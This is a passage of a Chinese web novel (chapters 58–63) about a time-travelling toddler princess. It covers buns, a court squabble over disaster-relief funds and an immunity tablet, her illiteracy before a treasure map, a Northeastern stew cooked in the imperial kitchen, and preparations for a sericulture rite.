白晓晓早就听不见他在说什么了,眼睛直勾勾地盯着那个和它脸一样大的包子,双手捧起热腾腾的包子,啊呜就是一大口!面皮的麦香混着滚烫的肉汁瞬间在嘴里炸开,烫得她直吸溜嘴也舍不得吐出来。 「哇哇哇简直香迷糊了!」 「我就是碳水脑袋把!」 「我愿意为包子发声!」 「不上国宴简直没天理!」 一个包子下肚,她又瞄准了糖三角。 三角包捏得精巧可爱,轻轻一挤,浓稠的糖浆就溢了出来——想想上辈子为了减肥饿得前胸贴后背的日子,现在能理直气壮地大吃特吃,简直是太幸福了! 吃饱喝足,她总算想起娘亲交代的正经事,扯着小舅舅的衣角,像个小大人似的嘱咐道:“要给娘亲找几个靠谱的嬷嬷,提前给弟弟准备奶娘。” 小人儿倒豆子似的,将这些正事都交代给了陈再衍。 虽说白洲已经挂了,万一会有什么脑子被门夹了的同党非要报复,得提前安排好,不能让敌人出在内部。 陈再衍惊讶地看着外甥女,又累又困也没忘了他姐交代的事情,才一岁半大,不光有主见,交代起事情来条理也清晰,怪不得姐姐让她传话儿,是真的很值得信赖啊。 可还没等他夸出口,小丫头就开始摇摇晃晃了——不知道是她昨儿个没睡好的关系,还是晕碳了,毕竟她一口气炫了三个大包子,胃口好得差点吓坏了厨子。 她小脑袋一点一点的,反而才像个孩子样儿; 「打工人的怨念谁懂啊!」 「天天四点起床,生产队的驴都没这么累。」 「当年高考都没起这么早。」 「这届亲爹太难带了...」 白晓晓哼哼唧唧地歪在舅舅肩上,彻底陷入黑甜乡前最后一个念头是:明日一定要赖在陈家睡个懒觉! 「不想上班都是人之常情。」 「人之常情!」 「我不想努力了......」 等再睁眼时,马车正颠簸着驶过宫门的青石板路,白晓晓迷茫地眨眨眼,发现已经回到深红色的宫墙内,顿时委屈地瘪起嘴——懒觉计划彻底泡汤! 好在吉祥及时打开油纸包,一把炸得金黄酥脆的小麻花递到她眼前,“咔嚓”一声,香甜油润的滋味在舌尖化开,总算抚平了小公主的起床气。 “唔...”白晓晓嚼嚼嚼,“味道还可以......”她鼓着两个小腮帮子,不情不愿地评价道。 第58章 话家常 第五十八章 话家常 日头西沉,金色的余晖洒满宫道,白晓晓脚步轻快地往里走,像只终于归巢的雀儿,心里还回味着宫外自由自在的空气。 “哟,咱们的小懒虫终于舍得回来啦?”白洵放下手中的奏折,眼里带着笑意,故意拖长了语调逗她,“诶呀呀,有人错过了今天的大热闹,真是太可惜咯!” 今日的早朝格外热闹,结果左等右等没见人影,派人去问才知道,这小家伙居然偷偷溜出宫野了一天。 陈兮芮正倚在软榻上绣着小肚兜,闻声抬起头来。 她有许多话想问,可见女儿跑得小脸通红,便先放下手中的活计,温柔地招手:“快过来,让娘亲给你擦擦汗,这半日玩得可还开心?” “外祖母身子硬朗得很,小舅舅也好!”白晓晓重重点头,发髻上的珠花都跟着乱颤。她冲到桌前连灌了两杯蜜水,这才喘过气来,小嘴撅得能挂油瓶:“娘亲怎么从来不说,外祖母家的包子那么香,比御膳房的还好吃!” 她脸上写满了委屈,活像被亏待了整整一年。天知道,她穿越过来这一年多,每天对着精致却单调的宫廷菜肴,心里有多想念那一口实在、暄软的北方面食! 「那可是十八个褶儿的完美包子啊!」 「薄皮大馅,一口就爆汁!」 「我要是有这手艺,早就在京城开连锁店了!」 「保证能赚个盆满钵满~」 退一万步说,就算没本事开店,支个小摊天天守着蒸笼也幸福啊。白晓晓美滋滋地想着,仿佛已经嗅到了那飘满街巷的浓郁面香。 陈兮芮愣怔便可便笑出声来,转头对上丈夫疑惑的目光,解释道:“我娘是个地道的北方人,什么佳肴美食都不爱,唯独就好一口面食。家里光白案师傅就养了三个,个个都能把面团玩出花来。” 她眼中泛起怀念的神色,“小时候总看她坐在院里边晒太阳边揉面,那面团在她手里听话得不得了......” “面食?”白洵的眼睛突然亮了,他小心地握住妻子的手,声音都放轻了许多,“那你现在可有胃口?要不要让御膳房也做些来试试?”他眼见着芮娘这两日吐得昏天暗地,一点儿都吃不下东西去,他也跟着犯愁。 “记得怀晓晓时,你胃口好得能吞下一头牛,真是奇了怪了。” 「看我多好养活~」 「每个娃的喜好都不一样嘛,这叫个性化需求。」 「一个猴儿一个拴法嘛~」 白晓晓在一旁疯狂点头,小脑袋凑到娘亲尚平坦的小腹前,煞有介事地说:“弟弟你要乖乖的,别折腾娘亲了!等你出来,姐姐天天带你去外祖母家蹭包子吃!” 肚子里的小不点自然是给不了反应,反而把陈兮芮给逗笑了。说来也怪,原本翻江倒海的胃,在想到母亲做的酸菜馅儿饺子时,竟悄悄平静了下来。 白晓晓眼睛一亮,突然冒出个主意:“爹爹!不如把外祖母家的厨子借来几天?就当给御膳房的大师傅们培训啦!” 陈兮芮听得哭笑不得,白洵却摸着下巴真的思考起可行性来。一时间,殿内气氛暖融融的,一家三口有说有笑。 “哎~好大一只风筝呀。”白晓晓见没人瞧见她的新玩意儿,故意把风筝拿出来摆弄两下又折起,总算成功引起了爹爹的注意。 不过白洵好奇的可不只如此。 “晓晓,今日和你小舅舅都聊什么了?”没听见吐槽心声的老父亲颇为惊讶,闺女难得与人这般投缘,莫不是被个大风筝给收买了? ——陈再衍那小子,哄孩子倒是有一手。 白晓晓正努力把风筝尾巴捋顺,闻言头也不抬,小嘴一张就开始跑火车:“聊风花雪月,谈诗词歌赋,探讨人生哲学,天文地理无所不谈!”她努力摆出高深莫测的模样,可惜微微发红的耳根出卖了她。 别问,问就是心虚。 「老天爷!小舅舅可千万要嘴严啊!」 「要是让爹知道我吃未出生弟弟的醋...这脸往哪儿搁!」 「一世英名毁于一旦!」 她抿了抿嘴唇,假装全神贯注地研究风筝骨架上的彩绘,寄希望于她爹发现不了她的异样。白洵何等敏锐,洞察朝堂风云的眼睛微微一眯,吃飞醋?吃谁的醋?怎么个回事? 他不过一日疏忽了这小丫头,怎么就醋上芮娘肚子里那个了? 电光石火间,他忽然福至心灵——莫非是怕有了弟弟,爹娘的疼爱就被分走了?想起女儿平日看似豁达实则敏感的心思,白洵的心顿时软成一汪春水。 他放下茶盏,走到女儿身边蹲下,宽厚的手掌先揉了揉女儿的脑袋,又轻轻覆上妻子的腹部,声音温柔得能滴出水来:“傻孩子,爹爹娘亲......”他顿了顿,目光在妻子和女儿之间流转,“加上肚子里这个,我们最疼的永远是你。” “???”白晓晓猛地抬头,眼睛瞪得溜圆,手里的风筝线轴掉在地上都忘了捡。 「不是吧不是吧?!」 「这就被卖得干干净净了?!」 「小舅舅你是个大漏勺吗?!说好替我保密的!」 「我人还没回宫呢,告密的鸽子就先飞到了?!」 没有预想中的泪眼汪汪感动不已,小姑娘腮帮子肉眼可见地鼓了起来,眼里写满的不是温情,而是浓浓的“被出卖”。 (不知情且什么都没做的陈再衍突然连打三个喷嚏:冤枉啊!清汤大老爷!!) 白洵看着女儿脸上飞快闪过的震惊、气愤、委屈,终于后知后觉地意识到——自己好像……搞错了? 他下意识看向妻子求助,却见陈兮芮正捂着嘴偷笑,眼中光芒流转,仿佛早已看穿一切,却偏不点破。 他微微一怔,随即恍然。 这么点个小丫头,不光有心事,自尊心还极强? 白洵心底蓦地软了一下,继而升起一阵混合着歉疚与好笑的情緒。目光不自觉往宫门的方向飘了一瞬,仿佛能穿透重重殿宇,看见那个一无所知的年轻身影。 他在心底轻轻叹了口气,对着虚空默念:再衍对不住了,这口锅,你先背上吧! 第59章 写欠条 第五十九章 写欠条 天还没亮透,窗外还是一片漆黑,连声鸟叫都没有。 白晓晓却一个激灵,自个儿从暖和的被窝里里坐了起来,一双眼睛在昏暗中亮得惊人——根本不用等吉祥举着灯笼进来,进行每天早上的“人形闹钟”叫醒服务。 「早起的鸟儿有虫吃~」 「早起的瓜猹有瓜吃~」 「又是元气满满的一天!」 她手脚并用、窸窸窣窣地爬下床,心里美得冒泡,感觉今天朝堂上肯定又有大热闹看。 果不其然,又是左相老头挑大梁的一天。 左相左嗣宗,人如其名,是个出了名的倔老头外加铁公鸡,此刻正梗着脖子,脸憋得通红,脑门上的每道皱纹好像都在呐喊“要钱没有,要命一条”。 虽然救灾的先头部队已经派去南方了,但后续的钱粮要是跟不上,那前面全都白干。虽然皇上金口玉言说了“先用你的钱”,可他没说什么时候还啊! 这跟拿肉包子打狗有啥区别? 更让他心窝子疼的是户部尚书那副嘴脸! 明明圣上亲口许了二十万两雪花银,怎么一到他这儿,就跟被快刀剁掉一半似的,只剩十万两了?! “赵尚书!这……这砍价也没你这么狠的!市井买菜尚且容人还个三文五文,你这一刀下去,可是十万两真金白银!”左相的声音都在发颤,隐约瞧着白胡子都多了几根。 户部尚书赵谶站在那儿,眼皮都懒得抬,一副“你说任你说,我听算我输”的德行,根本油盐不进。 笑话!管国库的钱袋子,就得有这种把抠门和精明揉在一起的本事,他可是老手了。 御座上的白洵看着他俩又要掐起来,头疼地揉了揉太阳穴,果断出声打断:“你俩等会儿再吵吵。”他声音不高,却自带威严,目光往下一扫,“还有别的事要奏吗?” 百官们默契地垂下眼皮,屏息凝神,心里却都亮堂着呢——好戏才刚开场,谁这时候出来打岔谁傻。 白晓晓捂着小嘴偷笑,兴奋地跺了跺脚。 「运气来了挡都挡不住!」 「我这瓜吃得这叫一个及时、这叫一个地道!」 好不容易熬到一句“退朝”,白洵几乎是脚底抹油,抢先开溜。 赵谶有样学样,也准备跑路,结果左老头眼疾手快,一把薅住他的袖子,生生把人拖到了御前,三人只好到了御书房议事,当然身后还不声不响地跟了个“小尾巴”。 一进门,左相也顾不得礼仪了,扯着嗓子就开始干嚎,光打雷不下雨:“圣上啊——十万两真的不够啊!南方冻灾严重,灾民嗷嗷待哺,这点银子撒下去,连个响儿都听不见就得没影儿啊圣上!” 他捶胸顿足,仿佛被割走的不是十万两银子,而是他身上的一块肉。 “这简直比明火执仗的强盗还狠啊!” 白洵无奈地看向“强盗本人”,等他见招拆招。 赵谶不慌不忙,躬身行礼,语气平板无波却句句在理:“圣上明鉴,国库实在捉襟见肘。开春在即,各地春耕需种子、农具补贴;先帝周年祭典在即,一应祭祀之物岂能简陋?边关军饷、各地官俸,哪一处不是张着嘴等银子填的窟窿?臣……巧妇难为无米之炊。” 说罢又恭恭敬敬向左相行了一礼:“实在是对不住了。”让人挑不出一点毛病来。 白洵叹了口气,试图和稀泥:“唉,百废待兴,处处都要用钱。左相啊,你看……要不就先照赵尚书说的办?” 左老头一听,一口气没上来,差点直接仰倒过去,这这这...这简直就是“官匪勾结”! 白洵看着左相那副如丧考妣的模样,心下竟觉得有几分好笑,但脸上却故意一沉,:“此事就这么定了!” 天子一怒,左老头又损失了十万两。 他被噎得说不出话,心里哀嚎:哪有这样的圣上啊! “咳,算是朕借的,借的!”白洵把不要脸发挥到了极致,语气那叫一个理所当然,“等日后国库宽裕了,朕一定还你。” 这话一出口,连白晓晓都替她爹感到脸热,忍不住伸出小胖手捂住了眼睛。 「至少我没听说过父债女偿的……」 「爹爹你儿子就快来了,务必让左老头您撑住啊!」 左相脑瓜子嗡嗡的,颤巍巍的不肯离开,他愣是想了好几天都没想明白,自己平日里抠抠搜搜半辈子,鞋底磨穿了都舍不得换新的,圣上到底是怎么知道他藏着这丰厚家底的? 他一边肉痛,一边又忍不住为自己辩白:“圣上明鉴啊,老臣这钱来得干干净净!”钱多了攥手里也烫得慌啊!可他左嗣宗一没贪赃枉法,二没买卖官爵,三没盘剥百姓,就是靠着祖产和那点俸禄,极致节俭,一文钱掰成两半花,才生生攒下这厚厚的棺材本,这也有错吗? 殿内青烟袅袅盘旋,却驱不散左老头浓浓的哀怨,他花白的胡子一抖一抖,翻来覆去就是那几句车轱辘话: “圣上明鉴,老臣清清白白啊!这钱绝无半点来路不明,天地可鉴……” 白晓晓听得小眉头紧紧皱起,感觉耳朵都快被“清白”二字磨出茧子了,她转头对着爹爹说:“要不,写个欠条吧。” 她最见不得小姑娘哭,没想到有朝一日,居然会见不得老头哭。 主要是……这老头也太能哭了!嗓门不大,但那悲切劲儿真是连绵不绝,感觉她都要被这声音给洗脑了。 写个欠条,白纸黑字,总能安心点吧? 白洵此时面上也有些挂不住了,被臣子当面哭诉自己“强借”他的养老钱,纵然是帝王,脸上也觉着热辣辣的。 孰料左相的哭声戛然而止,随即变成了更大的惊恐。 他“扑通”一声就跪下了,声音发颤:“使不得!万万使不得啊!”圣上写的欠条?他敢拿去催债吗? 这东西形同废纸一张不说,万一哪天陛下觉得这事儿是个污点,看着欠条碍眼了,那这玩意儿岂不是成了一道催命符? 白洵被女儿和臣子这么一闹,那点尴尬反而被逼成了破罐破摔,他索性直接问道:“这也不行,那也不行。那你干脆自己说,到底想要什么?” 第60章 画大饼 第六十章 画大饼 左相抬起那张老泪纵横的脸,嘴唇哆嗦了半天,像是下了天大的决心,才用比蚊子哼哼大不了多少的声音,憋出一句石破天惊的话:“老臣、老臣斗胆,圣上您看那个丹书铁券……” 话还没说完,旁边一直竖着耳朵看热闹的户部尚书赵谶差点被自己的口水呛死!他猛地倒吸一口凉气,眼珠子瞪得溜圆,活像他那宝贝算盘上最圆的两颗珠子要崩出来砸人脸上! “左嗣宗!”赵谶的声音都劈叉了,手指头差点戳到老对头的鼻尖上,“你、你这老脸皮是拿城墙砖糊的吧?!丹书铁券!那是免死金牌!是能拿来用银子买的吗?!这这这、这成何体统!” 他气得吹胡子瞪眼,心里却莫名闪过一个念头:这玩意儿要是真能明码标价,他偷偷攒了半辈子的那点私房钱,是不是也能……咳咳! 「好家伙!御书房什么时候改菜市场了?」 「都说三个女人一台戏,我看这三个老……呃呃呃也不差!」 「这要是有个检察院,非得给你们仨都请去喝茶不可!」 白晓晓在一旁看得直摇小脑袋瓜,再次深刻体会到什么叫“我的地盘我做主”——我爹说了算,就是可以为所欲为。 白洵一听,非但没生气,反而像是被打开了什么新世界的大门,摸着下巴,眼神都亮了几分:“丹书铁券嘛……” “圣上!” 赵谶急得差点跳起来。 白洵摸着下巴,显然已经开始认真思考这笔“交易”的可行性了:“倒也不是完全不行嘛……” 「爹!亲爹!稳住啊!」 「空头支票不能随便开!得加钱!得狠狠地加钱!」 白晓晓皱着小脸,拼命给亲爹使眼色。 白洵话锋一转,抬手止住他,目光炯炯地看向左相:“但此乃国之重器,岂是金银可换?必得是泼天的功绩方能匹配。这样,左相你先把这南方赈灾的差事办得漂漂亮亮,让朕和百官都瞧瞧你的本事。功成之日,朕自有考量,如何?” 「皇家特制大饼虽迟但到!」 「怎么着也得把这老头的家底掏空...…啊不,是让他“自愿”为国库做贡献。」 「也不用太多,填满三分之二就行。」 「唉,我真是太善良了,还给他留了点棺材本!」 白晓晓想着想着,还被自己的深明大义和体贴入微给感动到了,小脸上露出了一个颇为自得的笑容。 左相老头精打细算了一辈子,,做梦也想不到,自己省吃俭用攒下的毕生积蓄,最后很可能要填进这对皇家父女联手挖出的无底深坑里。 他瞅了瞅圣上那看似诚恳又带着算计的笑容,再瞥一眼旁边坐着的古灵精怪的小公主,只觉得前途“无亮”。 闭上眼,还能听见自己的棺材本儿正在嗷嗷惨叫。 “臣还有事,先告退了。”左相不敢多待,躬身行礼便快步离开,小腿倒腾之快,活像后面有鬼在追。他生怕再多待一刻,自己连条裤衩子都不剩了。 “这一家子……”他咬了咬牙,“比土匪还狠!”后面这半句他没敢说出口,差点憋出来内伤。 御书房内,赵谶看着左相逃窜的背影,眼珠子转了转,心里的小算盘也“噼里啪啦”响了起来,他小心翼翼地问:“圣上,我也能……” “不,你不能!”一个清脆又无情的声音响起,是替白洵回答的白晓晓。 赵谶眨巴着迷茫的小眼睛,委屈巴巴:“为、为什么啊?” 左相有钱就能买(划掉)换,他怎么就不行? 白晓晓走到他面前,踮起脚尖,拍了拍他的膝盖,语气充满了同情但毫不留情:“赵尚书——你,太,穷,啦!” 这三个字像三支利箭,“嗖嗖嗖”地精准扎在赵谶的心巴上。他管着全国的钱,自己却是个穷光蛋!这世上还有没有天理了! 白洵看着自家爱卿那副备受打击的模样,终究还是有点不忍心,他还得指望这头老黄牛干活呢。 他清了清嗓子,拿出老板画饼的经典姿态,安慰道:“爱卿啊,不必灰心。只要你好好干,努力为朝廷、为朕分忧,未来……一切皆有可能嘛!” 赵尚书瞬间又充满了希望和干劲,仿佛已经看到了免死金牌在向他招手,欢天喜地、晕乎乎地退了出去。 「赵尚书今天不用吃饭了,我爹画的饼真是管饱。」 白晓晓在心里默默吐槽。 父女两人对视一眼,同时“噗嗤”笑出声来。 「论画大饼的功力,我爹认第二,全天下没人敢认第一!不愧是是帝王级的PUA大师!」 白晓晓投去一个“佩服佩服”的眼神。 白洵接收到闺女的眼神,非但不以为耻,反而骄傲地扬了扬下巴,很是受用。 笑过之后,白晓晓蹭到爹爹身边,扯了扯他的龙袍袖子,大眼睛眨呀眨:“爹爹,前朝的藏宝图放哪儿了?” 她思来想去,靠“借”老头们的钱终究不是长久之计,还是得靠自己!她可是穿越女,说不定自带寻宝雷达呢!要是真能帮爹爹找到巨额财富,充盈国库,以后就不用逮“小肥羊”薅了。 发现藏宝图的时候她尚小,而且陈家人多眼杂,母女两个根本没敢仔细瞧,上交之后就把这茬给抛在脑后了。 白洵诧异闺女怎么突然对这个感兴趣了,但还是从暗格里掏出来一个锦盒。 白晓晓立刻乐得屁颠屁颠地凑上前,她激动地打开盖子,小心翼翼地取出里面那张泛黄的藏宝图。 然后,整个人都僵住了。 她把图翻来覆去看了三遍,小脸先是迷茫,然后是震惊,最后彻底垮掉。 「完了。」 「坏了。」 「芭比Q了。」 她、她、她,她居然…… 不、认、字、啊!!! 图上那些鬼画符一样的古代文字,它们认识她,她可不认识它们! 穿越女的伟大宏图霸业,还没开始,就彻底夭折在了第一步——她是个如假包换的“文盲”! 白晓晓捧着这张天书,站在原地,心中有一万头神兽奔腾而过。 第61章 扎心了 第六十一章 扎心了 白晓晓心中涌起强烈的不甘,十余年寒窗苦读,夜以继日地奋笔疾书,谁曾想到一朝醒来,竟成了个目不识丁的文盲? 「卷过高考试卷,闯过编制考场,最后居然败给了穿越。」 「这简直像是历史对我开的一个沉重玩笑。」 她越想越不是滋味,终于按捺不住,唤来吉祥,声音里带着执拗:“拿来笔墨纸砚,我就不信这个邪!” 她信手取过一本书册,满怀决心地提起毛笔,仿佛要在这场与自己的较量中扳回一城。 可笔锋一落,她就察觉出不对劲—— 「这毛笔也太软了,想要个圆珠笔很过分吗?」 「这墨怎么一不小心就晕成一团?」 「真不是我差生文具多......」 她屏住呼吸,勉力写下几个字,却只见纸面上歪歪斜斜、粗细不一,像是一群醉酒的蚂蚁七扭八拐地打晃儿。 白晓晓皱着小脸,看着自己的“杰作”,一种前所未有的挫败感涌上心头。 「我的九年义务教育、三年高中、四年大学……那么多年的学费、补习费、五三模拟卷的钱,全都打水漂了。」 「教育局能不能给我退钱啊?!我姥姥攒点钱供我上学不容易……」 她气得胸口发闷,呆愣愣地说不出话来。 “公主好厉害呀!都会写字了!”如意眨着一双星星眼,语气里满是真诚的赞叹。 可这话落在白晓晓耳中,就像是在伤口上撒盐。 「实在是太丢人了。」 「别夸了,我用脚趾快抠出个三室一厅了。」 为了平息内心的悲愤,她化郁闷为食量,一口气狂炫了三个大肉包子!腮帮子一鼓一鼓的,每一口都咬得格外用力,仿佛眼前的不是包子。 谁知报应来得太快,她才刚咽下最后一口,就不受控制地开始打嗝:“嗝~嗝~嗝~” 小小的身子随着嗝声一下一下地抖,眼睛泛着泪光,看上去可怜又滑稽。 陈兮芮在一旁瞧着她这副模样,笑得几乎直不起腰,一边捂着肚子一边轻唤“哎哟”,差点笑动了胎气。 “娘亲……嗝~你还是不是我亲娘了啊……嗝!”白晓晓抬起泪汪汪的眼睛,哀怨地望过去。 “好啦好啦,”陈兮芮勉强敛住笑意,温柔地建议,“要不你出去走走,消消食,说不定就好了。” 白晓晓其实早已困得眼皮沉重,可身体却执拗地持续打着嗝,一刻也不得安宁。她只好迷迷糊糊站起身,晃晃悠悠地踱出门去。 她信步而行,几乎是凭着身体的本能,不知不觉就走到了御膳房附近。 「这块地砖我都快踩包浆了。」 「可惜肚子实在太撑,要不然……」 她有点遗憾地揉了揉圆滚滚的小肚子,最终脚步一拐,慢悠悠转向丹尼尔和爱丽丝所住的玉芳斋。 两个金发碧眼的孩子正在院子里踢鸡毛毽子,动作虽不算灵巧,却格外有活力,小小的身影在阳光下跳跃,显得格外可爱。 白晓晓站在一旁静静看了一会儿,忽然心中一动,一边打着嗝一边开口问道:“嗝~你们认得字吗?” 丹尼尔闻声抬起头来,湛蓝的眼睛里透出些许迷茫。他偏头想了想,而后轻轻摇头——他能听懂一些简单的汉语,但对那些复杂的字形,仍感陌生如天书。 白晓晓意识到他理解错了,连忙一边打嗝一边比划着补充:“嗝~我是说你们自己部落,嗝~的文字。” 丹尼尔顿时明白了,点了点头,伸出手指在空中虚划出几个流畅的字母——那形态竟与她所熟悉的英文字母相差无几。 「这太不公平了!」 白晓晓内心顿时涌起一阵强烈的不平,嗝也随之打得更急了。 「到底是谁发明了这么多复杂难记的古代汉字,还有那些令人头疼的通假字?」 就在这时,爱丽丝用生硬的汉语,奶声奶气地安慰道:“你还小呢,不急呀。” 这一刀补得又准又狠,白晓晓感觉心口再次中箭。 「扎心了老铁!」 她不禁苦笑,可转念一想,自己如今确实连上学前班的年纪都还没到,又何必如此焦虑? 她悄悄安慰自己:不急不急,说不定什么时候就想起来金山到底藏在哪里了,什么藏宝图,什么繁体字,根本不重要! 于是她暂时放下了心中的纠结,转而向旁边的托姆问道:“你们今天吃包子了吗?嗝~” “吃了!味道真是太好了!我们从来没有吃过这么好吃的东西!”托姆连忙点头,脸上洋溢着真诚的笑容,紧接着又略带迟疑地问,“我们可以学怎么做吗公主?”话一出口,她似乎又觉得这个请求有些冒昧,不禁小心翼翼地望向白晓晓。 “没问题!”白晓晓拍了拍自己的小胸脯,爽快地答应下来。托姆见状,才放下心来,眼中满是感激与期待,如果有机会回部落,她的父母亲人也能尝到这样的美味。 「不过是吃食罢了,想学当然可以学!」 「你们又不会拿去申遗,像某宇宙大国一样......」 当然,这番话她只敢放在心里,豪言壮语还未出口,就被一阵嗝声打断,实在有些难为情。小孩子,也是要面子的呀。 托姆见状,轻轻示意她伸出舌尖,并用手拉住几秒。说来也奇,不过片刻,她那停不下来的打嗝竟真的缓和了许多。 白晓晓深深吸了一口气,仿佛重新拾起了几分底气。她挺了挺胸,带着点虚张声势的骄傲说道:“我不只会做包子,还会烙饼呢!” 丹尼尔和爱丽丝彼此对视,脸上写满了怀疑,异口同声地说道:“吹牛!不信!” 这话一下子点燃了白晓晓的胜负欲——大话已经放出去了,可她完全忘了,她完全忘记了自己还是个没有灶台高的小屁孩儿。 「阿涅牛已经吹出去了。」 「现在该怎么办?在线等,真的挺急的……」 她今天在文化课上惨遭滑铁卢,要是在最擅长的美食领域再度翻车,这脸面可就真的捡不起来了。 第62章 铁锅炖 第六十二章 铁锅炖 托姆听完也就哈哈一乐,压根没当真——让金尊玉贵的小公主下厨,听起来就像个玩笑。 可白晓晓是个实心眼的孩子,她把这事儿放在了心上。 翌日一早刚下早朝,她就迈着小短腿,一路小跑进了御膳房,那火急火燎的气势,不知道的还以为要去点兵打仗。 结果一进门,她就傻眼了。 灶台差不多有她两个人那么高,那口大铁锅简直能把她整个人塞进去,就连一根普通的擀面杖,立起来都比她高出半个头! 白晓晓双手费力地握紧擀面杖,对着案板上那一大团发得白白胖胖的的面团,陷入了静止。 「……这饼,怕是擀不成了。」 「我还是吃饱了去补觉吧。」 识时务者为俊杰,什么面子不面子的,她选择性地无视。 什么挽尊,什么争口气,在现实的“巨大”打击下,她觉得都举重若轻了。 御膳房的主管老周,是个在宫里待了几十年的老厨子,人精似的。他一抬眼,就看见小公主拎着擀面杖,一脸苦大仇深地站在那儿,不像是来做饭,倒像来打架的。 “不愧是公主殿下,肯定和三公主一脉相传。”他暗自嘀咕着,人已经颠颠儿地小跑过去,脸上堆着笑,“小殿下,有什么吩咐?” 白晓晓正愁没台阶下,立马顺杆往上爬。 她将沉甸甸的擀面杖塞回老周手里,眨巴着大眼睛,瞬间改变了主意:“做个小猪盖被如何?” “小、小猪盖被?”老周一愣,这名字听着就稀奇又可爱,是要把面团揉成猪头吗? 他有点慌,捏猪头这事得让专业的白案师傅出马,万一自己做不好,小公主在这哭了,他他他,他也不会哄孩子啊! “对!就是东北那旮瘩的铁锅炖!”白晓晓来了精神,连说带比划,“把排骨啊豆角啊炖得烂烂的,香喷喷的,最后在上面盖上一张大大的面饼,像给锅里的小猪仔盖上一床被子似的!等饼吸饱了汤汁,那味道绝了,馋哭隔壁小孩儿!” ——不对,馋哭隔壁两个洋娃娃! 老周一听就明白了七八分,他虽然没做过,但凭借几十年炉火纯青的厨艺功底,他非但不觉得为难,反而倍感荣幸——公主这是点菜点到他头上了,是给他表现的机会啊! “得嘞!小殿下你就瞧好吧!” 老周干劲十足,白晓晓则背着小手,在一旁进行“战略性指挥”。 “排骨要多炖一会儿。” “对对对,饼要擀得厚一点,吸汤!” 一大一小,一个经验老道,一个理论大师,配合得居然还挺默契。 没过多久,咕嘟咕嘟的声音伴随着浓郁霸道的肉香从锅里冒了出来,那香气裹着面饼的麦香,像有个钩子似的,蛮横地弥漫在整个御膳房,勾得所有偷偷旁观的宫人都忍不住暗地里咽口水。 终于揭锅了! 热气腾腾中,排骨软烂,豆角入味,最上面那层“被子”吸饱了精华,油润光亮。 白晓晓也等不及了,直接靠在灶台边,让老周给她盛了满满一碗。她吃得摇头晃脑,香得简直忘了自己还是个公主,要注意仪态,香得简直不知天地为何物。 她啃着香喷喷的排骨,小嘴油汪汪的,发自内心地感叹,“要是再放点土豆就更完美了……” 说着说着,她突然抬起头,特别真诚地对老周说:“叔啊,我要是不当公主了,就跟你学手艺,你这手艺太牛了。” 她随口胡掰一句,这话可把老实巴交的老周吓了一大跳,差点把手里的勺子扔了。他连连摆手:“奴才何德何能,这万万使不得。” 白晓晓噗嗤一笑,也没再继续说下去,上辈子的她总想着要学门手艺好安身立命,可现在嘛,好像确实没那个必要了。 她心满意足地嗦着骨头,心里美滋滋地想:果然,世上没有什么烦恼是一顿东北菜解决不了的! 她美滋滋地嗦着排骨,果然世上没有一顿东北菜解决不了的烦恼,但是她好像也啥烦恼,硬要说的话,小人儿掰着指头数了一下: 「希望早朝能晚一点开始,可怜一下起床困难户吧。」 「强烈要求双休!生产队的驴都得上三休一。」 「好想吃香喷喷的东北大米饭,咱们这儿的米能不能也升级一下品种?」 「还有地三鲜!呜呜呜可是土豆和辣椒,到底在这个世界的哪个角落偷偷长着啊?」 数着数着,她居然有点小惆怅,托着腮眼巴巴地望着眼前冒着热气的大灶台,那眼神专注得仿佛在打量一尊能实现愿望的阿拉丁神灯。 她忍不住伸出还沾着油光的小手,虔诚地摸了摸灶台边缘,压低声音念念有词:“灶台大神啊,信女愿一生混素搭配,换土豆和辣椒早点出现吧……” 随后赶来的白洵,恰好就在门口听到了这番豪言壮语,他的脚步瞬间停住,脸上的表情变了又变,沉默了几秒后,他非常自然地转过身,假装自己只是路过。 什么“双休”、什么“不起早朝”、什么“灶台大神”,风太大,他什么都没听见。 不过,他来找闺女确实是有正事的。 先蚕礼的日子已经定下了,就在季春吉巳日举行,紧接着还有春耕礼,这都是关乎国本农桑的大事,一点都马虎不得。 他原本只是路过御膳房,瞧见吉祥在门外候着,正想叫她去传话,却没料到撞上了一场“灶台许愿现场”。 白洵内心默默扶额,实在不行给你修个许愿池,再养两只王八? 这么对着灶台说话,偷感未免太重了。 就在这时,一股浓烈的肉香混着面饼气息扑面而来,霸道地钻进鼻腔。白洵不自觉地往里走了两步,正好看见白晓晓费劲地掀开那口快比她大的锅盖。 小家伙猫着腰站在灶台边,拿着个大勺正努力给自己盛第二碗,小脸热得红扑扑的,额头上还沾了点面粉。 白晓晓一抬头看见她爹,半点不慌,非常自然地举了举手里满满当当的碗,热情发出邀请:“爹啊!来得早不如来得巧,要不要来点?” 第63章 先蚕礼 第六十三章 先蚕礼 季春吉巳,风和日丽。 北郊的先蚕坛早已被打扫得一尘不染,彩旗招展,仪仗整齐排列,在微亮的晨光中静静等待典礼开始。 白晓晓本以为不用上朝便能睡到日上三竿,谁料天还黑着,她就被吉祥摇醒了。 “公主,该梳妆了。”吉祥声音温和却不容拒绝。 白晓晓眯着惺忪睡眼,如同一只被强行拎出窝的猫,满脸写着“不愿面对”。 她迷迷糊糊地被套上一件又一件复杂的礼服——绯红色的长衣、绣着金线的霞帔、深青色的蚕纹礼服…… “穿这么多层,形式主义害死人......” 她小声嘟囔,勉强站稳身子。 梳头的时候,如意手法麻利但用力过猛,扯得她头皮发紧,眼睛都快被拉成吊梢眼了! “松些松些!”白晓晓一声喊,如意忙减了力道,轻声解释:“今日要戴珠冠,须得束紧些才稳妥。” 这一揪倒好,她顿时睡意全无,可算是来了精神。 “公主,今儿个可不能马虎。”吉祥一边为她系上繁复的礼服用带,一边轻声叮嘱,“前几日都走过了流程,可还记得?” 如意也凑近低语:“今日来的皆是命妇女眷,人多场面大,您只管端庄坐着,我俩肯定寸步不离。” 白晓晓点点头,她可是见过大场面的,一点都不慌。 上车的时候,天刚蒙蒙亮,街道已经被清空,只有浩浩荡荡的皇家队伍。她突然想起平时看的话本故事,这种大场面通常都会跳出几个黑衣刺客,上演一场刀光剑影。 现在自己坐在这么显眼的皇家马车里,简直像个活靶子,她只希望今天平平安安,千万别出什么幺蛾子。 行程漫长,百无聊赖,她扯扯吉祥的袖子,比了个“吃”的手势。 吉祥心领神会,拿出事先准备的玫瑰酥和小麻花,却只递了一小块:“少吃些,今日礼服繁琐,不便更衣。” 白晓晓顿时垮下脸来,撇嘴嘀咕:“起得比鸡早,吃得比兔少……当公主怎么连吃饱的自由都没有?” 可转念一想,又叹口气,摸着自己绣金线的袖口喃喃:“罢了罢了,责任和义务并存……好歹还是个公主。” 